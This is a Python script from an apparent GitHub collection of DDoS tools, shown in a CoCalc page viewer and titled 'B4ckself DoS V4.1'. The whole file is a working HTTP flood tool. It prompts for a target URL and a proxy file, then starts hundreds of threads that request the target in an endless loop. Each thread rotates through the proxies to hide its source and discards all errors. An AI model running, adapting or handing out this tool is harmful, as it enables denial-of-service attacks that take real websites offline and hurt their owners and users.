Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L7/B4ckself4.1.py
4607 views
1
import urllib.request, os, threading, time, random, sys
2
3
class Spammer(threading.Thread):
4
5
def __init__(self, url, number, lista):
6
threading.Thread.__init__(self)
7
self.url = url
8
self.num = number
9
self.headers = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' }
10
self.Lock = threading.Lock()
11
self.lista = lista
12
13
def request(self):
14
global N
15
data = None
16
if N >= (len(self.lista) - 1):
17
N = 0
18
proxy = urllib.request.ProxyHandler({'http': self.lista[N]})
19
opener = urllib.request.build_opener(proxy)
20
urllib.request.install_opener(opener)
21
req = urllib.request.Request(self.url, data, self.headers)
22
urllib.request.urlopen(req)
23
sys.stdout.write("Thread #%4d | %4d\%d | Proxy@%s"%(self.num, N, len(self.lista), self.lista[N]))
24
25
def run(self):
26
global N
27
self.Lock.acquire()
28
print ("Thread #%4d |"% (self.num))
29
self.Lock.release()
30
time.sleep(1)
31
while True:
32
try:
33
N += 1
34
self.request()
35
except:
36
pass
37
#sys.stdout.write("Thread #%4d |\t\t | Proxy@Connection refused...\n"%(self.num))
38
sys.exit(0)
39
40
class MainLoop():
41
42
def __init__(self):
43
if os.name in ("nt", "dos", "ce"):
44
os.system('cls')
45
os.system('title ........::::: B4ckself DoS V4.1 :::::........ Python 3.3.3')
46
os.system('color a')
47
color = ['a', 'b', 'c', 'd', 'e', 'f']
48
os.system('color %s' % (color[random.randrange(0, 5, 1)]))
49
print ('\n ###################################\n')
50
print (' 01010o.....::B4ckself DoS V4.1::.....o01010\n')
51
print (' #################################################')
52
print ('\n\t A DoS Concept for HTTP site, Coded by B4ckdoor\n')
53
print ('\t ProxyHandling by Sikh887 \n\n')
54
55
def check_url(self, url):
56
if url[0]+url[1]+url[2]+url[3] == "www.":
57
url = "http://" + url
58
elif url[0]+url[1]+url[2]+url[3] == "http":
59
pass
60
else:
61
url = "http://" + url
62
return url
63
64
def setup(self):
65
global Close, Request, Tot_req
66
while True:
67
url = input('> Enter Url to DoS: ')
68
url = self.check_url(url)
69
try:
70
req = urllib.request.Request(url, None, {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'})
71
response = urllib.request.urlopen(req)
72
break
73
except:
74
print ('> Could not open specified url.')
75
while True:
76
try:
77
l = str(input('> Enter the list of proxy: '))
78
in_file = open(l,"r")
79
lista = []
80
for i in in_file:
81
lista.append(i.split("/n")[0])
82
break
83
except:
84
print ('Error to read file.')
85
while True:
86
try:
87
num_threads = int(input('> Enter the number of thread [800]: '))
88
except:
89
num_threads = 800
90
break
91
92
for i in range(num_threads):
93
Spammer(url, i + 1, lista).start()
94
95
if __name__ == '__main__':
96
N = 0
97
b = MainLoop()
98
b.setup()
99